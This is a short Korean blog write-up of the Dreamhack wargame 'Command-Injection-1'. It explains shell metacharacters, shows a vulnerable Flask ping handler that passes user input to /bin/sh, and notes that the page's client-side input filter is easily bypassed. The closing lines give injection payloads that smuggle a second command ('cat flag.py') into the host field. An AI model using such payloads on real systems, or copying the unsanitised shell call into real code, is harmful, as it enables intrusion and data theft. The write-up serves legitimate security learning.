security/웹해킹

[Dreamhack Wargame] Command-Injection-1

민사민서 2023. 6. 30. 15:31

Shell에서 사용 가능한 메타문자

`` 명령어 치환
`` 안에 들어있는 명령어를 실행한 결과로 치환됩니다.
$() 명령어 치환
$()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori)))
&& 명령어 연속 실행
한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. 
|| 명령어 연속 실행
한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행합니다.
; 명령어 구분자
한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다.
| 파이프
앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다.

문제풀이

command injection이 가능하고,

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))

input element에 필터링 걸려있다 => 정규표현식(알파벨, 숫자, 점만 가능, 5~20자)

    <div class="col-md-6 form-group">
      <label for="Host">Host</label>
      <!-- 필터링 걸려있네 -->
      <input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required>
    </div>

* 이렇게 클라이언트 단에서 필터링 세팅해두면 언제든 변조 가능하다

* 개발자도구 켜서 elements 탭에서 소스코드 수정하면 됨

 

이렇게 풀었다

1.1.1.1"; cat flag.py; echo "a
1.1.1.1" && cat flag.py; echo "a